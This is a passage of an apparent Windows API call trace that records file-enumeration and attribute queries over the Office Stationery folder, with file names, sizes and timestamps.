	[0050.598] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1
	[0050.598] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1
	[0050.598] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1
	[0050.599] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f0b40b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f0b40b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b55629, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pine_Lumber.jpg", cAlternateFileName="")) returned 1
	[0050.599] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f31568, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f31568, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pretty_Peacock.jpg", cAlternateFileName="")) returned 1
	[0050.599] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f7d822, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f7d822, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Psychedelic.jpg", cAlternateFileName="")) returned 1
	[0050.599] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1
	[0050.599] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1
	[0050.599] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc53cdfab, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc53cdfab, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45148cd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sand_Paper.jpg", cAlternateFileName="")) returned 1
	[0050.599] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5277366, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5277366, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4516ee37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x91c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seyes.emf", cAlternateFileName="")) returned 1
	[0050.599] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1
	[0050.599] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1
	[0050.599] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc530f8da, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc530f8da, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45194f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13d8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shorthand.emf", cAlternateFileName="")) returned 1
	[0050.599] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc541a265, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc541a265, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x451bb0f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Small_News.jpg", cAlternateFileName="")) returned 1
	[0050.599] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1
	[0050.599] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1
	[0050.599] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1
	[0050.599] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4037dd, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce4037dd, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1
	[0050.599] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54403c2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54403c2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x452797c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stucco.gif", cAlternateFileName="")) returned 1
	[0050.599] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc548c67c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc548c67c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4529f927, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xe42, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tanspecks.jpg", cAlternateFileName="")) returned 1
	[0050.599] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54b27d9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54b27d9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x121e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tiki.gif", cAlternateFileName="")) returned 1
	[0050.599] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc535bb94, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc535bb94, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6860, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.emf", cAlternateFileName="")) returned 1
	[0050.599] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54fea93, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54fea93, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457ae7a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc60, dwReserved0=0x0, dwReserved1=0x0, cFileName="White_Chocolate.jpg", cAlternateFileName="")) returned 1
	[0050.599] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 1
	[0050.599] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.599] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.600] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), fInfoLevelId=0x0, lpFileInformation=0x1276fc28 | out: lpFileInformation=0x1276fc28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff)) returned 1
	[0050.601] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1276fc78 | out: lpFileInformation=0x1276fc78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432)) returned 1
	[0050.601] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1276fcc8 | out: lpFileInformation=0x1276fcc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f)) returned 1
	[0050.602] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), fInfoLevelId=0x0, lpFileInformation=0x1276fd18 | out: lpFileInformation=0x1276fd18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb)) returned 1
	[0050.602] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), fInfoLevelId=0x0, lpFileInformation=0x1276fd68 | out: lpFileInformation=0x1276fd68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x90f)) returned 1
	[0050.602] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1276fdb8 | out: lpFileInformation=0x1276fdb8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285)) returned 1
	[0050.602] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), fInfoLevelId=0x0, lpFileInformation=0x1276fe08 | out: lpFileInformation=0x1276fe08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0)) returned 1
	[0050.603] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), fInfoLevelId=0x0, lpFileInformation=0x1276fe58 | out: lpFileInformation=0x1276fe58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7)) returned 1
	[0050.603] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1276fea8 | out: lpFileInformation=0x1276fea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f)) returned 1
	[0050.603] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), fInfoLevelId=0x0, lpFileInformation=0x1276fef8 | out: lpFileInformation=0x1276fef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594)) returned 1
	[0050.604] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), fInfoLevelId=0x0, lpFileInformation=0x1276ff48 | out: lpFileInformation=0x1276ff48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864)) returned 1
	[0050.604] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), fInfoLevelId=0x0, lpFileInformation=0x1276ff98 | out: lpFileInformation=0x1276ff98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5120721, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4)) returned 1
	[0050.605] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), fInfoLevelId=0x0, lpFileInformation=0x1277e008 | out: lpFileInformation=0x1277e008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2d2cf5, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2d2cf5, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed)) returned 1
	[0050.605] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1277e058 | out: lpFileInformation=0x1277e058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906)) returned 1
	[0050.605] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), fInfoLevelId=0x0, lpFileInformation=0x1277e0a8 | out: lpFileInformation=0x1277e0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb)) returned 1
	[0050.607] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1277e0f8 | out: lpFileInformation=0x1277e0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e)) returned 1
	[0050.607] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), fInfoLevelId=0x0, lpFileInformation=0x1277e148 | out: lpFileInformation=0x1277e148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5192b38, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5192b38, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4480f815, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x252ec)) returned 1
	[0050.608] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1277e198 | out: lpFileInformation=0x1277e198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e4cd3a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4e4cd3a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44835973, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8a1)) returned 1
	[0050.608] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf"), fInfoLevelId=0x0, lpFileInformation=0x1277e1e8 | out: lpFileInformation=0x1277e1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc51dedf2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc51dedf2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1060)) returned 1
